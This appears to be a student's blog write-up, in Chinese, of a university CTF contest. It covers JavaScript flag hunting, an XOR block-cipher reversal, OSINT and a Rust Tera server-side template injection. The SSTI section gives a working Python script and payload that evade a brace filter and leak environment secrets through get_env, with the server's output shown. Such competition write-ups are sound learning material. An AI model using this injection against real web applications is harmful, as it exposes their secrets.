第三屆「藍天杯」網路安全技能大賽 Writeup

日期:
分類: Writeup 題解
標籤: Rust Python SSTI Crypto

第一次打 CTF,看到 flag 的時候又想起幾年前第一次寫 Python 時在 Jupyter Notebook 中爬蟲成功執行時的心態,真是久違的熱情🥲

不過其實只算做出來了兩道題,其他的都是簽到題🙃

簽到

題目

53 pts

歡迎來到第三屆“藍天杯”網路安全技能大賽!

關注賽博安全協會官方部落格https://or4ngesec.github.io/

第一個flag就在其中^_^

Hacking for fun, good luck for youuuuuuuuuu!

flag格式: BUAACTF{*}

解答

檢視 倉庫 歷史 即可找到 flag,發現 flag 在關於頁面,有 4 處。

截圖

Flag

BUAACTF{W3lc0m3_t0_BUAACTF2023_3NjoY_l-l@ck1ng!}

Mota

題目

72 pts

歡迎來到前端的世界!play&hack for fun!

author

解答

在 events.js 中用 Ctrl + F 搜尋 可以找到分成 3 段的 flag。

1

case 51:
       useful= "BUAACTF{HT";
       Message = ["[Npc=3,仙子]恭喜你找到了第一段芙拉隔,它的值為","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",1,9,7);
        });
    break;

2

case 52:
       text = "NV9tb3RhXzFz"
       useful = atob(text);
       Message = ["[Npc=3,仙子]哇!你拿下了第二腐拉蛤,它是","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",0,0,5);
        });
    break;

控制檯執行可得

3

case 53:
       text = new Uint8Array([95, 115, 48, 95, 102, 117, 110, 33, 125]);
       useful = String.fromCharCode.apply(null, text);;
       Message = ["[Npc=3,仙子]奈斯!你找到了最後一富菈哥,它的內容:","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",1,5,3);
        });
    break;

控制檯執行可得

截圖

Flag

BUAACTF{HT5_mota_1s_s0_fun!}

Block Cipher

題目

75 pts

Recall the experiments done in class!

author

block-cipher-task.py

解答

用結果中的 ivkey 的替換掉 encrypt 函式中的隨機數。加密的過程很簡單。首先是將 flag 分割成了 8 字元一段的 parts 列表,然後對每一個 part 執行 reduce(xor, [part, iv if index == 0 else results[-1], key])——實際上對應的 result 就是 part、上一個結果或 ivkey異或

import operator
import random
import re
from functools import reduce
# from secret import flag
 
def pad(s):
    padding_length = (8 - len(s)) % 8
    return s + chr(padding_length) * padding_length
 
def xor(a, b):
    assert len(a) == len(b)
    return bytes(map(operator.xor, a, b))
 
def encrypt(s):
    iv = b'\xba=y\xa3\xc6)\xcf\xf7' # bytes(random.randint(0, 255) for _ in range(8))
    key = b'}6E\xeb(\x91\x08\xa0' # bytes(random.randint(0, 255) for _ in range(8))
    parts = list(map(str.encode, map(pad, re.findall(r'.{1,8}', s))))
    print(parts)
    results = []
    for index, part in enumerate(parts):
        print(index, part)
        results.append(reduce(xor, [part, iv if index == 0 else results[-1], key]))
    return iv, key, results
 
# xor(part, result[-1], key)
# xor(part, y) = result, y = xor(result, y)
 
iv, key, parts = encrypt(
    "BUAACTF{abcdefgh}"
)
print(f"iv = {iv}")
print(f"key = {key}")
print(f"parts = {parts}")

異或的性質,,據此編碼根據結果倒序還原,便可解出原 parts

parts = [b'\x85^}\t\xad\xec\x81,', b'\xba\x04W\xa1\xee"\xea\xc5', b'\xb7ZW\x18\x99\x82\xd6:', b'\x99\x03}\x9c\xde|\xb1\xc5', b'\xa1Tk.\x8b\xee\xbaf']
decrypted = ""
for i, value in reversed(list(enumerate(parts))):
    value = xor(value, key)
    prev = parts[i-1] if i > 0 else iv
    value = xor(value, prev)
    print(value)
    decrypted = value.decode() + decrypted
print("Flag:", decrypted)

異或的這個性質也被用於 RAID5:

三塊磁碟(兩塊資料,一個塊校驗盤)其實就是:

c = a ^ b
a = c ^ b
b = a ^ c

截圖

Flag

BUAACTF{BloCk_cIphER_14_Soooooo_EaSY}

easy-ssti

題目

非常只因礎的SSTI,但不是flask。

author

https://tera.netlify.app/docs/

嘗試獲取當前上下文—>獲取敏感環境變數,不需要RCE。

在輸入框中直接輸入的符號都會被用百分號 escape,故編碼傳送請求。

查閱文件,發現

There are 3 kinds of delimiters and those cannot be changed:

  • {{ and }} for expressions
  • {% and %} for statements
  • {# and #} for comments

但是,請求中的 {{}} 被遮蔽了。

import requests
url = "http://10.212.25.14:49574/"
def fetch(data):
    body = "content=" + data
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=body, headers=headers)
    print(r.text.replace("\\n", "\n").replace("\\", ''))
fetch("{}") # …<div class="result">您的身高為 {} cm</div>…
fetch("}}") # forbbidden!
fetch("{{") # forbbidden!

故只能使用 {% 和 %} 嵌入流程控制語句。hint 中提示獲取當前上下文,可知我們需要  __tera_context

A magical variable is available in every template if you want to print the current context: __tera_context.

隨意構造一個錯誤的語句,從返回的報錯中可以發現使用了 Tera::one_off one off template。

fetch("{% println!(__tera_context) %}")
 
Error while rendering: Error { kind: Msg("Failed to parse '__tera_one_off'"), source: Some(Error { kind: Msg("  --> 18:35
   |
18 |         <div class="result">您的身高為 {% println!(__tera_context) %} cm</div>
   |                                   ^---
   |
   = unexpected tag; expected end of input or some content"), source: None })

與字串相關的有 filter,但是並沒有實際可以使用的,也沒有函式可分割字串。查閱文件發現 for 迴圈可以逐字元,不過比較坑的是 Playground 的版本可能舊了,這個功能無法使用。

{% for letter in "hahahaha" %}
  {% if loop.index % 2 == 0%}
    <span style="color:red">{{ letter }}</span>
  {% else %}
    <span style="color:blue">{{ letter }}</span>
  {% endif %}
{% endfor %}

因為 println! 沒有匯入,不像 Flask 中有 print 可以用,不能直接輸出變數的值。不過我們可以用一個有 128 個分支的 if 來輸出所有 ASCII 字元。

輸出 __tera_context 後發現有一個環境變數 se3ret,故我們還要用 set 和 built-in 函式 get_env 將其儲存在一個變數中才能在 context 中看見它。

完整的程式碼如下:

import requests
url = "http://10.212.25.14:49452/"
 
def get_branch(i):
    char = chr(i)
    quoted_char = f"""'{char}'""" if char != "'" else '''"'"'''
    return """{%- elif char == """ + quoted_char + """ -%} """ + char + " "
 
branches = map(get_branch, range(127))
 
data = """
{% set arr = [__tera_context] %}
{% set flag = get_env(name="se3ret") %}
{%- for char in __tera_context -%}
    {%- if char == 'a' -%}
    a""" + "\n".join(branches) + """
    {%- else -%}
    <NOCHAR>
    {%- endif -%}
{% endfor %}
"""
 
print(data)
 
body = "content=" + data
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url, data=body, headers=headers)
 
print(r.text.replace("\\n", "\n").replace("\\", ''))

結果:

    <!doctype html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
        <link rel="stylesheet" href="/static/style.css">
        <title>身高計算器</title>
    </head>
    <body>
        <h1>身高計算器</h1>
        <h2>請輸入你的身高</h2>
        <form action="/" method="post">
            <p><input type="text" name="content" placeholder="cm"></p>
            <p><input type="submit" value="提交"></p>
        </form>
        <div class="result">您的身高為
 
{"arr":["{
"name":"admin",
"work_dir":"/usr/admin/"
}
}"],"flag":"flag{RUSt_1S_S0_1NTere4T1NG}","worker":{"env_var":"se3ret","id":20379999,"name":"admin","work_dir":"/usr/admin/"}}
 cm</div>
    </body>
    </html>

截圖

Flag

flag{RUSt_1S_S0_1NTere4T1NG}

Screenshot

題目

262 pts

小橘子在沒事幹的時候特別喜歡在各大社交平臺灌水,某天他在某平臺高強度衝浪的時候遇到了一位自稱是BUAACTF2023出題人的網友。在交談過程中,該網友不小心傳送了一張電腦螢幕截圖,這引起了小橘子的注意。如果能透過這張圖片找到一些有用的資訊,或許就能提前拿到比賽的flag……

小橘子在該社交平臺上的id:@PaulGeo43512452

author:ch3v4l,bangzhu

附件

screenshot.jpg
screenshot.jpg

解答

Ethereum.org 的 Remix 沒有社交功能,並且圖中沒有區塊鏈資訊。唯一符合要求的是第一個標籤頁的 Twitter。

搜尋可見一串對話。用 Stegsolve.jar 對比附件中的圖片和從 twimg 下載的圖片,沒有差異;用 hexed.it 和 binwalk 也沒發現有隱藏資訊。

對話提示檢視另一使用者 NekoMaster0751 的 Github 倉庫,在 bio 找到該使用者的使用者名稱。

查閱其 倉庫 歷史,發現最近有一次新增了一篇文章 2023/04/19/BUAACTF2022題解/index.html,隨後又 revert 的操作。

手動 revert 後,發現程式碼中並沒有 flag。仔細檢視,發現有多張圖片沒有載入。meta 標籤中有兩張 Open Graph 預覽圖,但不是 flag,正文中的才是。

37e901a1b6cb8efdc24d9357875062c.png - SM.MS - Simple Free Image Hosting

KA3Cm4z7hWDncyk1.png
KA3Cm4z7hWDncyk1.png

Flag

BUAACTF{Scr33nsh0T_0N_s0c1@L_M3di4_C4N_I3ak_y0ur_pr1V4cy!}

問卷調查

題目

119 pts

[資料刪除]

完成問卷填寫即可獲得flag。

Flag

BUAACTF{GoOd_Bye~may_1he_f1ag_Be_wi1h_U}

2023 年 4 月 26 日寫於 Notion。

本作品採用 知識共享署名-非商業性使用 4.0 國際許可協議CC BY-NC 4.0 International) 進行許可。閣下可自由地共享(複製、發行)和演繹(修改、轉換或二次創作)本作品,唯須遵守許可協議條款。

評論

評論將在稽覈後顯示,閣下可以在本部落格的 Github 倉庫的 拉取請求列表 中檢視。提交成功後會自動跳轉。

本站不支持 Dark Reader 的暗色模式,请对本站关闭后再访问。
(亮色模式的对比度、亮度等选项不受影响)